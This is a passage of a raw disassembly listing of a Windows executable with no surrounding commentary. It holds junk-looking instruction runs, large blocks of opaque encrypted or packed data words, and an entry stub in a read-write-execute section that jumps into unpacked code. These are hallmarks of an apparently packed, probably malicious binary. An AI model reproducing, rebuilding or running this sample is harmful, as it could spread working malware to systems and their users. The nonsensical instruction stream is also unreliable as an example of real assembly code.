short loc_402839 sbb [edi-69h], ecx add eax, 0A4A35802h inc ebx push 0B6D8243Ch sbb al, 0B8h dec ecx add eax, 10C45DA1h mov cl, 0CBh adc al, 0A3h db 3Eh and eax, 17D4A9DBh push eax xor edx, [ebp+4E28C0C7h] db 67h xchg eax, esp test [ecx], edi pop ebp sbb [ebp-2C2B5EE7h], al sub ch, dl cmp [ebp-1CD343ADh], cl inc ecx and [esi], dh lodsd adc ah, al or [eax+62h], al loop loc_4028E0 mov dword ptr [edi], 0C167A578h push esi add dh, [ebx-77h] pop ebp xor [ecx], edx cmp al, 3 xchg eax, edi db 26h adc eax, 7124031Ah dec ebp loc_4028E0: ; CODE XREF: start-1773Aj adc eax, 8BC070CBh hlt ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 2A89h dd 3CADC75h, 5C56179Fh, 64945A46h, 0C6534EFh, 0FFFC4D83h dd 0C2295F72h, 0F356E049h, 551C9D5Fh, 1178526Fh, 19B95014h dd 5AED7908h, 658D0882h, 0F0B8C4CCh, 4C0D26C7h, 6A0AC60Dh dd 0E763504h, 0F847128h, 8A4C58B6h, 840AE98Bh, 750D7188h dd 0C64F0E1Ch, 0C30E243Ch, 73EA4529h, 0A33B2380h, 61E64AA4h dd 0B6E86D01h, 3C187AEEh, 3B2A31DFh, 0A8620AA4h, 0ED9E971h dd 966A6E20h, 0C71882BAh, 1B09B456h, 0F138B8D2h, 72CE31B2h dd 4230E860h, 74284E3Dh, 8063FE99h, 7AA59CE8h, 2440D86Ch dd 326AE701h, 20BF71C2h, 7D8382E2h, 0B23556C1h, 0F350700Bh dd 8915AAABh, 69C3241Dh, 4EEF860Fh, 0EE7D2321h, 0BB9D02h dd 118AEF4Dh, 0CB1D284h, 14C1EEAEh, 0CDC0FF41h, 870FC23Bh dd 7625935Ah, 5BF7CEC7h, 489C52EEh, 524E28CCh, 474D871h dd 9E8DAA0Bh, 80899148h, 0CB7B803Bh, 518A2C74h, 6C4D016Bh dd 3BFAB8B0h, 1477C711h, 8AFCB282h, 2DA43492h, 16469008h dd 76011340h, 804141F5h, 0D4183039h, 16C5D6FFh, 69D08C3h dd 0C17204FCh, 5C7E570h, 0E671531Ch, 0D2A35062h, 850BD1FDh dd 6E3CCDB0h, 7010BFE1h, 59A5A50Fh, 0BBBA35Ah, 4055EBA5h dd 0E4FF7988h, 37548E8h, 26A142DFh, 333D3313h, 0C677246h dd 9D2C6F39h, 5A67C854h, 730B3AFAh, 0AB4DB2C2h, 0DEB00C0h dd 0AC6E1D39h, 0A29BB360h, 4D1B830h, 14A293E1h, 0B6446503h dd 83155CDAh, 5C21255Ah, 20D9FE55h, 0BCAC4BC4h, 25FF1387h dd 0FD656A64h, 0EC6814F8h, 4DCE86FCh, 9D19BBB7h, 0A42D8849h dd 22749271h, 0C6041398h, 0D04715Dh, 4810578Ch, 0EAE30374h dd 0D20C04B8h, 0B41205E3h, 5A15133h, 57E40411h, 97596CC5h dd 0AACB6C1Eh, 6517EBB4h, 0DCC5A7A3h, 5F2BC36Fh, 514C31Ch dd 36A51A95h, 0AD338FFh, 3DEE1679h, 487BE2Dh, 47058488h dd 0C6825804h, 8AF47202h, 23C6F245h, 18204512h, 530D3792h dd 85558D57h, 180AB660h, 0C1013BC3h, 0C82B1D77h, 2A6CBC8Dh dd 20B82E41h, 0D98B2400h, 2C846867h, 848089DEh, 4242AAF3h dd 0FF42288Ah, 5FD02A60h, 1AE3805Bh, 749CFAECh, 7AF38DE9h dd 56C46943h, 2376D55Fh, 1DE8FD74h, 971EB556h, 239E3456h dd 3AF9363Bh, 5D68E3FCh, 0D827DED8h, 828E5C5Eh, 2728D5Ah dd 0F6118B66h, 164918C2h, 1005FA9Eh, 0A005948Ah, 20908864h dd 1AA867F5h, 0BD9F0211h, 1C201D1Ah, 168FA3FCh, 81931CA0h dd 5C3C26h, 49EB27BFh, 0B25D615h, 4197241h, 3AAA5A1Bh dd 80C8804Bh, 5B8820C1h, 1F2C4988h, 72611618h, 7A0B0413h dd 534E0E77h, 20E91D81h, 4C6AE0EBh, 59BE4A79h, 0A023264Eh dd 0CDFD6A12h, 59A20908h, 3C48FC89h, 68DDD32Fh, 0B4240631h dd 632D2197h, 7456DFC2h, 21B4B40Ah, 508C8E2Dh, 1FA6B35Eh dd 0CD843DFCh, 321C590Fh, 0C79D0736h, 40A3C32Ch, 77E00482h dd 86670722h, 5FB0EF2Ch, 56971675h, 13F1E373h, 0DED14839h dd 0C86CD167h, 16D03DC8h, 70B40B77h, 1AB9302Dh, 20621C10h dd 83BEB803h, 830F05C6h, 0B856F0E6h, 68EC6073h, 6F794040h dd 0A3A614DCh, 8E70FC1Ch, 0F402D8A3h, 0F85A25ECh, 0A3447006h dd 3CDCDBF0h, 62F410E8h, 18D0A1C0h, 802D0C8Dh, 73830A1h dd 22EBD688h, 2B77E114h, 668C0C50h, 7224005Ch, 15AB0766h dd 738DEB14h, 462D5EC0h, 920C2913h, 411830FEh, 0F28B0B10h dd 190C712Bh, 0C208805Ah, 0EEC157FCh, 0CE8B0F00h, 69FC7A8Bh dd 0F7044EC9h, 0BF604B44h, 5D018C8Dh, 0A8AB9944h, 75828915h dd 0C130C8Bh, 0F808E006h, 0C12B7F75h, 3F0575F9h, 0B805F49h dd 76CF3B0Ch, 82129303h, 3B04134Ch, 750803C1h, 1EE9648h dd 7320F983h, 0B99ABF1Ch, 8DEFD300h, 0F704014Ch, 7C21D700h dd 9FE44B0h, 752B5C75h, 0EB390221h, 0E0C18324h, 2DDF1EFBh dd 0B0BC8C21h, 24F3A24Eh, 479A106h, 8B085170h, 8955B17Ch dd 0F0040A6Ch, 585D0308h, 0B8080DF8h, 1FB8B8Ch, 4F04FFC1h dd 673FFF83h, 5F1A867Bh, 18CFBF66h, 6CEC2397h, 2B453934h dd 11E7B52Ch, 558960A1h, 5A1749F8h, 0BA6CA3Bh, 0F3890576h dd 7141CA96h, 4077FB1Bh, 0FA3B403Eh, 8B2C0276h, 0CE84BFFAh dd 8B16D2BEh, 512DBE51h, 67BAE7BDh, 21D261EAh, 1176DC54h dd 0BDD41EFDh, 0F69421E2h, 0A75173BDh, 4916BF52h, 0B4A2FBEh dd 873041Ch, 0CC91119Ch, 0D5EC4C6Fh, 33390926h, 7544EC66h dd 8BCE75C9h, 5329F9B2h, 97260BA7h, 0E712F89h, 5417789h dd 100E3B16h, 0CFC36375h, 0A70B0407h, 0F4D8800h, 0B888C1FEh dd 8625730Bh, 460F2C3Bh, 403B0E43h, 0D3CF8B80h, 976EB5Ch dd 0C50D195Ah, 0B181448Dh, 29EB1809h, 1610246Ch, 19E04F8Dh dd 590B25DFh, 7E2D0F04h, 0D8848D42h, 4E3809B7h, 4501548Bh dd 891A89F0h, 0AB19135Ch, 0FA3CA356h, 6376DAA1h, 17DF9E48h dd 0DEC0D8Bh, 883D8B0Dh, 0E1C19AC0h, 5948030Fh, 332B520Ch dd 92272123h, 0FF515305h, 321FE7D7h, 9E11C6Bh, 0E6D0850h dd 104039F8h, 88A48316h, 3C57756Ch, 482FFE0Fh, 48190A43h dd 43792A84h, 608313E0h, 11B6FE04h, 30788324h, 8E536CC9h dd 0C702C10h, 0C412ED5Ah, 0A87E1009h, 8B8DF44Dh, 4F2B115h dd 0C5923280h, 28B6C8CBh, 114C3B70h, 8D5104ECh, 68511448h dd 6B4339E3h, 1685B1D9h, 2FA00DFFh, 0F4F4053Bh, 0FFC535CCh dd 3A969D14h, 0D10D8908h, 1C0BEB4Ch, 851AA396h, 0AC983589h dd 14CB6A5Bh, 2F677B66h, 0BA8B368h, 0B62C823Ch, 1748861Bh dd 74F076C4h, 496AE617h, 0E7D34E0h, 0FF04CE83h, 4D83EED3h dd 75068E86h, 0EA10EBF4h, 33C8E026h, 0BAE8D3F6h, 5A340C0Eh dd 744A69A1h, 87FC08Ch, 4C8B1973h, 3B2CE14Bh, 23002B23h dd 75CF0BFEh, 36C3830Bh, 789A3B14h, 0B8E77218h, 0B797507h dd 0D83BDA8Bh, 0D9154726h, 0E6EBE205h, 597519C2h, 117324E0h dd 8407B83h, 781379CFh, 0B4EDEB29h, 16267537h, 2FDD1B0Dh dd 5F86EE9Eh, 0D8CA3091h, 1CDB5C85h, 0C2146174h, 59733439h dd 89105BC0h, 43588B01h, 0C7C238A8h, 334033D0h, 0B61D89BDh dd 8B14E2A5h, 9BFA16C5h, 2D384AC7h, 908C268Bh, 0B809BB6h dd 50884490h, 12BC8B37h, 55117058h, 8304DDE7h, 84C0FC65h dd 0D60B4448h, 750B8B58h, 918B1714h, 5C197A3Bh, 3C981CECh dd 23FE018Bh, 74D70B39h, 0D8884CE9h, 0FF673380h, 58A8915Ch dd 4C76D84Dh, 75CE57B8h, 17660D5Fh, 64206Ah, 7CC9855Fh dd 0BE1D105h, 8BF7EB47h, 0F9548B20h, 2B0A0C43h, 70F17FE6h dd 4FEC17Bh, 0FE834E04h, 0F8707E3Fh, 0D8F73B5Eh, 17B0D9Bh dd 8E612478h, 2B7D2320h, 54967A11h, 169C3823h, 0EC01F3D3h dd 44885C23h, 0FE037089h, 0EADD750Fh, 0EC019243h, 31EB0B21h dd 2B9D171Eh, 0A13695B9h, 192132E1h, 0AC362967h, 662CFD98h dd 888A4685h, 7AC0E38Bh, 0F88604h, 0AFB89569h, 90CE087Ah dd 369484E2h, 7CA9E1C7h, 0C4262F1h, 6D22A5CEh, 0C76479C2h dd 11FE1E06h, 9B297D0Bh, 0B0599C4h, 11DC8800h, 668ADB62h dd 2D8C6C77h, 6F0A3B09h, 7C09168Fh, 2FEB16AEh, 8D0DF028h dd 41B68D4Eh, 68047B09h, 0ADB6BCB1h, 0B0BE16F3h, 0CE3709EEh dd 743AB06Ah, 0A89110Bh, 0FC038B89h, 8279A3B2h, 0D103F075h dd 0A10122C5h, 38FC3212h, 0B00E8B9Fh, 0B0798D21h, 1B753E0Fh dd 0F21D3B1Ah, 4B336748h, 0A4B43B91h, 6BFB06CAh, 88911C0h dd 8D04428Dh, 8702B708h dd 0C4AAE80Dh, 5D30FF1Dh, 8D4C3075h, 7250474Dh, 1836ED63h dd 97D45788h, 0C73B5878h, 0AF88744Ch, 6FC02B9Ch, 8FCCF3Dh dd 7241C468h, 453B08BFh, 348D30E0h, 9CEB8781h, 46890033h dd 6A2A7410h, 30AB6804h, 0B2D36890h, 5C5FFF4Ch, 0C20C3019h dd 0D61076AAh, 4BFCDA64h, 337C3625h, 0C538244Eh, 47E0B89h dd 6E6205FFh, 0DB9A4541h, 5121675Fh, 8B57DFB0h, 41C8D871h dd 0DB330819h, 8F4FC593h, 0C33643E0h, 0C0691B37h, 635A4681h dd 826C30FBh, 40EAB045h, 402B108h, 4A27CD26h, 85FB2C1Eh dd 0DFE7C133h, 0B40C790Ch, 0E4686633h, 76A18B9Fh, 0C0D1ED30h dd 8D693527h, 70550097h, 77FA5480h, 0B1478D3Ch, 0F2184877h dd 7E884383h, 8D0BF427h, 8306FC88h, 0F0FC40C7h, 0E7142D7h dd 88005EFh, 80C70448h, 0A20F73E8h, 56D30514h, 18F02C62h dd 0C7487696h, 0C4F54E2h, 0FC71BEC8h, 26725F01h, 8DACC189h dd 8630C4Ah, 168F9C08h, 42449E64h, 0E39EBC13h, 43468A40h dd 0BC86C8Ah, 7AC08433h, 434E8880h, 2B090375h, 62660478h dd 68B2CB8Bh, 6A337EBBh, 0D2ABD896h, 0B03B1534h, 68420470h dd 30D15464h, 0E0FE0314h, 54358B67h, 58680BB8h, 0FF8A0ED3h dd 296167D6h, 68507440h, 2D10BC48h, 0A073468h, 6ED0B4A3h dd 0B84DA3D6h, 510B3ABCh, 0FF166583h, 0B3D34D0h, 0B8A10E74h dd 5305C210h, 0FD1811D3h, 2803B518h, 78B078C5h, 9D9CC33Ah dd 0DFD495F8h, 0B8576EB9h, 12567A8Fh, 0C0D98B53h, 0C6F71417h dd 8D49CD03h, 69921024h, 6F75D2C0h, 92D521EBh, 74531CE9h dd 68B2541h, 75C31F29h, 0F05AEBh, 0E3835175h, 0BC0D7403h dd 2F1DF220h, 0C1651C46h, 5F5E5B4Ch, 29B141C3h, 3A691274h dd 8A7EB0h, 5EBBD490h, 6C2E3AEEh, 0FA2EE218h, 785B2ACAh dd 89D7D352h, 0DA5BAF63h, 1683063Ah, 0DEF3C683h, 1E3F2CCFh dd 75160C3Eh, 0EB0439C6h, 0CBE28118h, 9B8CCC2h, 0B000F30Eh dd 0B6D23304h, 55E9E753h, 16040A16h, 855F0789h, 0B0C5F875h dd 0A3A98575h, 70CFE126h, 23F91CA8h, 0DC3D082Ah, 57467AD0h dd 923A5740h, 0A535DE4Dh, 34724717h, 62E4DA98h, 23D01D0Eh dd 53E322EBh, 579CE64Dh, 22389C7Eh, 524C701h, 398578DCh dd 7E147D0Dh, 0ADDC3610h, 591D09FDh, 0C4AC3F4Ch, 2E2DC45h dd 1C16C61Dh, 0FC26619Dh, 0C6C948E7h, 1A8938D4h, 44D32DAFh dd 0FB6A209Ah, 5B73202Ch, 7A4C2EFFh, 0FBB82469h, 878BF820h dd 0B9E4326Eh, 68E89C5Fh, 1B690414h, 0B1C4FFECh, 0E7A7DC41h dd 7D13EB1Ah, 179D45F8h, 388B9611h, 74DC6770h, 5A8B6645h dd 21CE61DCh, 0F4BC5775h, 0E778B34Dh, 0ACBA51Ah, 18F08B43h dd 0F5ACD84Ah, 0F6327400h, 74040D45h, 1C3EB140h, 0CBB27863h dd 7F0BD53Bh, 32CEDA1Eh, 852170A9h, 9CE6008Fh, 23FFC83Ah dd 0EE207EC7h, 363FB320h, 16D3DC8Bh, 12CEB3E0h, 0B256CEB6h dd 0DF0B7DDEh, 6456B474h, 0AC67E496h, 8F9C5D74h, 475B3C2h dd 6EB03C2h, 28858CF3h, 411D2068h, 6DC8D5D1h, 28B25ABFh dd 0CB68C871h, 5D6971A7h, 89B4785h, 0C656D285h, 314CFFF7h dd 0B27B386Ch, 49E8B15Eh, 0F32E2E86h, 755E0B0Ch, 0B81E2B05h dd 85ACC283h, 8C79E447h, 65723B0Fh, 5AE30E7Ch, 0D8729E04h dd 2352A283h, 0B88EDFDFh, 76D0F84Ah, 4AC83E49h, 384A4C1Eh dd 700C49E0h, 0EB4A304Ah, 35225CF7h, 25917BDFh, 3FF7DF1Bh dd 6CBAFE5h, 949E039Ch, 0E7848C79h, 7A749E7Ch, 57DF236Ch dd 0FF65096Bh, 0E7D0F0A2h, 0F09EDC03h, 58DFF588h, 1FEB4C50h dd 58584C00h, 2CD0ED4Bh, 0BB96890h, 0B0037388h, 0A7DF1ED1h dd 0DF352229h, 1B2991FBh, 5BF9FDDFh, 0C067204h, 9E1403E7h dd 2C24791Ch, 479E34E7h, 0DADFD588h, 72601FF1h, 3E76805h dd 888C9E78h, 0FFD8DFD5h, 9A804725h, 0E7D70075h, 291589FFh dd 3292E8Bh, 6E757280h, 16D6974h, 72652065h, 2C726F72h dd 600D65B7h, 4F4C54EEh, 1153532Fh, 30E3Ah, 474E4953h dd 440B00BCh, 12414D4Fh, 5280113Bh, 38323036h, 202D08B0h dd 62614BB0h, 6F746C70h, 6E69200Bh, 61025669h, 0C07A696Ch dd 6165680Dh, 0E837BC70h, 6EE83727h, 3D746F2Ch, 677504E1h dd 16735958h, 23636170h, 0B7B662Eh, 69776F6Ch, 61617938h dd 6E6E6F06h, 0B0363E37h, 0FB647473h, 708235CEh, 2BC07275h dd 74726976h, 0CE217559h, 632DA533h, 63200B23h, 286C160Ch dd 341727DDh, 0B05FAC5Fh, 0B178652Ah, 58672F5Ch, 74DC4E06h dd 175FEBE2h, 0E0F73931h, 0BB65706Fh, 73318558h, 640FC56Fh dd 63738B65h, 0F338792Bh, 0E124469Ch, 36646581h, 3A57BD19h dd 0C2373F23h, 0C26C756Dh, 0C26874ACh, 716461BFh, 6A6B6321h dd 0B917972Fh, 626434F9h, 2EEE61B7h, 84A27302h, 0E56D7221h dd 40817000h, 6D617267h, 134A2067h, 2F2F366Dh, 0F53930C2h dd 7710B94Fh, 6D162A41h, 2E742E07h, 0FA382BE8h, 677261C1h dd 73286875h, 60965F9Ah, 66592B74h, 6E6EE2C1h, 6F82C567h dd 3A74058Bh, 2658116Fh, 4C7FBC64h, 60E52D4Dh, 1566398Bh dd 73695604h, 2B43AAD0h, 52202B1Bh, 694CE1A0h, 72B46162h dd 0A276879h, 167E73DAh, 160E454Dh, 502F1121h, 0B93A12D4h dd 612EABh, 0E56A3C00h, 25DCE073h, 6C6B582Ch, 3E6E3377h dd 0FFB3C91Eh, 38198738h, 74654701h, 42B1614Ch, 7612B841h dd 0BE504C65h, 707516h, 160F9F13h, 642CA557h, 6597E036h dd 61017373h, 6F426567h, 0F8584178h, 33359873h, 642E321Bh dd 4700163Ah, 0E480EC7h, 0B744812h, 0E3C6C279h, 863755CCh dd 1E561C0Eh, 557750E0h, 1C57140Eh, 0D43B5014h, 57228755h dd 1D50E80Eh, 74C354ECh, 0F850CE57h, 6657702Eh, 5754E157h dd 0E15746C3h, 4AC3563Ah, 56568756h, 1C56600Eh, 7438566Ah dd 56707C56h, 90E15686h, 56A6C356h, 0E56B687h, 0D02D56C0h dd 0F0033C9Bh, 28CFFCF3h, 79598C1Ch, 64E7707Ch, 4E795A9Eh dd 9E2AE73Ch, 0FC087814h, 0CFF0E358h, 0C6D43CE2h, 0AAC7B8F3h dd 389A1E59h, 0F3965782h, 3CBACFA8h, 0EAF3D6C8h, 1A1CFECFh dd 4E347958h, 7C9E64E7h, 0EEA89679h, 56108501h, 0F13007E6h dd 3B91080h, 9E09E713h, 0D047917h, 0C9E39E7h, 0E7340B79h dd 7B029E73h, 773DE303h, 72729263h, 0B7606669h, 75455355h dd 0A7E12D52h, 41630230h, 77726464h, 4C4611DBh, 62F287E9h dd 6C0FD141h, 637213B0h, 0D0B705Eh, 96636C5Fh, 0A7BF7A6h dd 4F77098Bh, 88097417h, 745EE563h, 0E9B01D69h, 11B67065h dd 2F7C6FDAh, 673F068Dh, 646F4D05h, 46218575h, 4E038D69h dd 964F89DDh, 65823943h, 2FD46854h, 4645669Ch, 2F7CEE78h dd 0D44D8D9Ah, 54233FBFh, 436B0614h, 39EDEE6Fh, 9D754DE1h dd 8B49F38Ah, 455A7968h, 0F02BE441h, 8C4473AFh, 5B3C8EA7h dd 4B2CC96Fh, 454E16F6h, 57A0F94Ch, 5F4D3253h, 6241C205h dd 537423C1h, 656F6079h, 6859536Dh, 6E3AE553h, 655255B0h dd 0F0435A67h, 79654B0Bh, 8853C50Dh, 8EC1565Ah, 79456575h dd 4F11E575h, 0E01EE0DEh, 5644410Eh, 49504113h, 0F1E1DB59h dd 8B676148h, 8C13CE98h, 0E184CC53h, 6E49707Dh, 0ABFB1D99h dd 6D6DBA85h, 2D7322D6h, 5644BD6Eh, 32735963h, 8937DB8Bh dd 0A0B56968h, 3E549CE3h, 12655BA8h, 7593419Dh, 0DE853926h dd 6E551627h, 64CB7468h, 7011383Eh, 1B2ED7CDh, 49B235E5h dd 0BE2ACE46h, 8FE7C146h dd 670B1727h, 0D6194173h, 4EC8577Ah, 81439AC5h, 6F547252h dd 13855A4Dh, 6FF97942h, 0CF2E7579h, 99B6A917h, 0DF23EBAh dd 11B6C7D6h, 7E14645Eh, 16C6B40Fh, 0E707954h, 17714888h dd 80B86544h, 0DBE796Fh, 29E8F7BCh, 9DC58756h, 7E1B3FB4h dd 7495B00Ah, 7700986Ch, 0B9D201DDh, 51D3A569h, 6EBB0BDDh dd 3ED075C6h, 0E9A27C71h, 75A56E73h, 89571F11h, 0B2A75043h dd 9F41C50Bh, 4F85150Ch, 0BE74D45h, 0CB41447Fh, 993B80F8h dd 1B4E0E9Dh, 0E3A29D3h, 4D434C83h, 6D395F9Fh, 57670FFCh dd 3C6BA1DFh, 3456C62Dh, 46C06934h, 334A5A10h, 0B966C904h dd 0FA60017Dh, 5E2990Ah, 0E805EBFAh, 708270EBh, 99029895h dd 38FDC399h, 9905C0A9h, 0B95D912h, 3485E912h, 12910006h dd 0A5EA1241h, 87ED1200h, 126A9AE1h, 9AB900E7h, 8DD71262h dd 0CF0574AAh, 0A612C8CEh, 0F36B0BC0h, 6AC097h, 0C091ED3Fh dd 9D5E1AC6h, 707BDC16h, 12C70007h, 0BDDF1254h, 485A009Ah dd 0AA589A78h, 1258FF50h, 8558DF3Fh, 782C580Dh, 122C0E9Bh dd 12000899h, 1A6E1263h, 212975Fh, 0C09AF349h, 68EE1E71h dd 0CB94000Ch, 65CE66CFh, 0F367B0C3h, 0ED12B19Ch, 0C1C9E5h dd 9BF398F3h, 0C0751562h, 9B9E5E14h, 4B9D2B99h, 0DE100019h dd 0CE89F39Dh, 6913CA58h, 5CB1AB3h, 53C226Dh, 1A47B061h dd 12DD1675h, 1B701E6Dh, 9D0110C0h, 10627B17h, 263A1CFh dd 0FFD980A5h, 1B5DF5Eh, 0DE149898h, 62CFC989h, 0CEC886h dd 5E037035h, 0FAA505DEh, 8299FDF4h, 0C8C9A514h, 0CB793CC2h dd 164476EFh, 2C03C965h, 3502417Dh, 60EC591Ch, 118BCEC8h dd 0C0C34B01h, 0C0777B32h, 6776715Ah, 0DE666600h, 0EBC9EDFCh dd 0D8FA00F6h, 0FCEBFDFDh, 992CEAEAh, 0F81605DAh, 9E11FCEDh dd 99D8000Dh, 0EDF0E1DCh, 13BBF1CDh, 0F6D55685h, 0F0D50480h dd 2CF8EBFBh, 117E0EBh, 0C6ABEAEEh, 6199ABAAh, 62CAD8B0h dd 42CEF229h, 0F0FB0B11h, 0F50523F7h, 3C81EAF0h, 0FAF899F7h dd 0C0E93D62h, 0F6F5FAEAh, 0B245B3EAh, 0B77C991Fh, 53FF0785h dd 4172424Dh, 3FC85318h, 879D34CBh, 6202C0h, 43335002h dd 0BC2B9720h, 4B524F00h, 525020h, 4152474Fh, 2E31204Dh dd 4C173058h, 4D4E4116h, 8F0A7602h, 50A2B1CDh, 6B03C257h dd 330F3267h, 330E8141h, 7261312Eh, 23C24D27h, 57995832h dd 325932D4h, 4E0AC116h, 18612054h, 0A623020h, 0A475F932h dd 0EC738B68h, 85D5EB07h, 81FF0C59h, 11040023h, 201B7C0Ah dd 4087D4ECh, 4C006916h, 0CF234B73h, 977F6821h, 0E008821Bh dd 0B8995696h, 0AECD24C8h, 51F6F9Bh, 0DC730077h, 305B743Ah dd 0E5097401h, 879D668Ch, 0CE237D27h, 72E2C1Dh, 0DA2F51FAh dd 2008D8ABh, 3AEFDAE8h, 0B39FCE57h, 101CB03h, 0CB234697h dd 40E70747h, 1670679h, 0DD106507h, 15001F01h, 48E0888Ah dd 4F1C00h, 19810044h, 0E4F27A6Ah, 28021C49h, 742530AFh dd 0AFF7B310h, 0D15CB2E1h, 0B8F575DFh, 0DFB10429h, 0BD07675Ch dd 5C5D319Ch, 3261D101h, 7074377h, 65380036h, 3077B22Eh dd 0B0491BE4h, 79004318h, 683F24h, 0B464FC00h, 41A27763h dd 0CE04DC08h, 63182CF6h, 0DEDE02h, 0F816000Eh, 5E019F1Ch dd 40D72602h, 20B70089h, 11034219h, 746C8BD1h, 7274C4D9h dd 635B2E8Ch, 6B9C8B2Bh, 4ED62547h, 4CC5E50h, 0BD0417E8h dd 1354171Ch, 5C5A542Eh, 0B1596326h, 0C7775C22h, 9D4545CBh dd 5822365h, 0CF030B00h, 879D3837h, 110B80Bh, 507E729h dd 19286A60h, 0B10C0039h, 0A89B11D0h, 4F0BC000h, 5FF52ED9h dd 8A885D60h, 0C91C04EBh, 0C0E89F11h, 48102B3Ch, 0BD1B760h dd 0FCA3F40Ch, 0A03A6074h, 3A13E70Ch, 0CB187A3h, 0E900765Eh dd 8897D138h, 0F004068h, 3EC0009h, 9541079Dh, 4F364014h dd 0C1797C60h, 7FAC7DCh, 0EE7443E7h, 8578A013h, 0AB000513h dd 0E1E9A65Bh, 34F8100Eh, 692F7713h, 138D87A5h, 4023B30Eh dd 8932A0Fh, 3788AD84h, 10B98143h, 1C505EEh, 4E16FFA7h dd 200C8563h, 0DADFFE1h, 0C207A9F3h, 7BD80F05h, 118877Fh dd 840E701Dh, 13CBB90Fh, 6595517Fh, 3A7FAF1Dh, 0E8387402h dd 0F7C6C7Fh, 9A1300EAh, 0CE556FA8h, 13DDE943h, 20A3064Fh dd 8C5E912Fh, 4B015ABDh, 3CD03B7Dh, 75151F12h, 1C2AD602h dd 0E540FD75h, 18973124h, 0CF100373h, 0F8003C08h, 0E7F06871h dd 353180E8h, 4B4F2030h, 322FBEACh, 328F0730h, 30338736h dd 31333361h, 30178EDBh, 987661C4h, 6543766Ch, 0A00B6ECBh dd 9678652Eh, 636582EDh, 176D2C68h, 8266666h, 2576739Ah dd 0B0351B18h, 3E3400h, 646D633Eh, 7074662Eh, 61031ABCh dd 796E6F6Eh, 7339186Dh, 0EFA817BFh, 628C09C8h, 0F81B6767h dd 74586567h, 5F63694Dh, 7F6D3A6Dh, 79628B1Bh, 5FE25411h dd 200BE026h, 0B53A732Dh, 0DF3B3A16h, 64A6BC20h, 206C6517h dd 0C76CF535h, 37320B31h, 9701302Eh, 630D0B31h, 0BF675C3Ah dd 6F6C02E2h, 42CE0067h, 25D0710Fh, 5C166E5Bh, 5C05095Ch dd 68637069h, 659EBEDh, 6613D001h, 1CEC0481h, 33E4FF07h dd 35291863h, 55513DB8h, 39A04969h, 5A544552h, 3F710752h dd 1A026A2Eh, 46702C00h, 0E854524Fh, 26416350h, 0CD51073Ah dd 27F0000Fh, 556D754Ah, 730B8570h, 5402854Eh, 0D0079A69h dd 6F4AA1h, 616B6162h, 4F530033h, 5754460Bh, 5C115541h dd 5C299C6Ah, 0F5C97E3h, 0B6F0207Fh, 7561525Ch, 42A1BADBh dd 0EB652AFFh, 7754557Ah, 6D4E03B0h, 2851019Dh, 7A2075D6h dd 7E1015B1h, 0BC84CE01h, 813BFB10h, 3BBF01CEh, 0F382CE10h dd 10CFAF02h, 9D1A20CAh, 0D768E4AAh, 0D907C72Eh, 0BC0C7C4h dd 0C31D11F9h, 96F204C0h, 8D790BDEh, 0DE8EF908h, 909D8F77h dd 927991E7h, 0A19377DEh, 30793CBh, 8C7A0A9Eh, 0CE9E4B4h dd 2004535Ah, 0D5199305h, 33021EA4h, 0BCD35398h, 68F56C07h dd 7B34069h, 531C3FB1h, 0F0C0B191h, 11076352h, 123CC0CFh dd 0CF13F39Ch, 38183C70h, 104558F7h, 1C1A07CFh, 1B7951D8h dd 9E1CE7A0h, 68787978h, 589E79E7h, 0E7487A79h, 79449EFCh dd 1E134FFh, 0CA6D0402h, 600BC089h, 21827982h, 0A63BAEBEh dd 0A1000BDFh, 81C007A5h, 0E8FCE09Fh, 807E3B40h, 0D2FA82Eh dd 0A3DAA3C1h, 811F87EAh, 0FE400FFEh, 5F2FB58Bh, 0B69E419Fh dd 0E4A2CF0Bh, 0E501DFA2h, 5BA2E8A2h, 5FDD356Ah, 0FEA17E61h dd 0E00551D0h, 705EDA51h, 1DDA5FDAh, 7032DA6Ah, 0DE1CD8D3h dd 312FF9E0h, 0F808397Eh, 7A3EFD03h, 1401h dup(0) _text ends ; Section 3. (virtual address 0001A000) ; Virtual size : 00020000 ( 131072.) ; Section size in file : 00020000 ( 131072.) ; Offset to raw data for section: 0001A000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _data segment para public 'CODE' use32 assume cs:_data ;org 41A000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= public start start proc near ; FUNCTION CHUNK AT 00402839 SIZE 000000AD BYTES pusha call sub_43F4C7 popa jmp loc_40283E start endp ; --------------------------------------------------------------------------- dd 9C0C8FD1h, 9C9C9C9Fh, 9C9C9C98h, 9C9C6363h, 9C9C9C24h dd 9C9C9C9Ch, 9C9C9CDCh, 8 dup(9C9C9C9Ch), 9C9C9C1Ch, 36B43BC9h dd 0A3A61511h, 9D749584h, 5E60306Ch, 0A98FE3D7h, 308D4B2Eh dd 9D3BE8E7h, 0F8681066h, 29254FCEh, 0B3B83758h, 1A4EF86Fh dd 58C3C4FEh, 0EAB1A7B3h, 9E5172C4h, 0DCAC289Eh, 81749694h dd 9C9CFA94h, 9C9A9DD0h, 0D45D03EFh, 2 dup(9C9C9C9Ch) dd 0BD929C7Ch, 0AB9E9D97h, 9C9C409Ch, 9C9CA09Ch, 9C8C1E9Ch dd 9C9C8D0Ah, 9C9C8C9Ch, 9C9C6C9Ch, 8C9C9C9Ch, 9C9C8C9Ch dd 9C9C9E9Ch, 9C9C9C9Dh, 9C9C9C9Ch, 9C9C9C98h, 9C9C9C9Ch dd 9C8D7C9Ch, 9C9C989Ch, 9C9C9C9Ch, 9C9C9C9Eh, 9C8C9C9Ch dd 9C9C8C9Ch, 9C8C9C9Ch, 9C9C8C9Ch, 9C9C9C9Ch, 9C9C9C8Ch dd 9C8D4C9Ch, 9C9C9CD0h, 9C8D3C9Ch, 9C9C9D50h, 6 dup(9C9C9C9Ch) dd 9C8D2C9Ch, 9C9C8774h, 14h dup(9C9C9C9Ch), 0E4F9E8B2h dd 9C9C9CE8h, 9C9C46D0h, 9C9C8C9Ch, 9C9C46D0h, 9C9C989Ch dd 3 dup(9C9C9C9Ch), 0FC9C9CBCh, 0EFEFFEB2h, 9C9C9C9Ch dd 9C8C1DE4h, 9C9C6C9Ch, 5 dup(9C9C9C9Ch), 5C9C9C1Ch, 0E8FDF8B2h dd 9C9C9CFDh, 9C9C8628h, 9C8D1C9Ch, 9C9C8628h, 9C9C7C9Ch dd 3 dup(9C9C9C9Ch), 5C9C9CDCh, 0FDF8F5B2h, 9C9CFDE8h dd 9C9C9D50h, 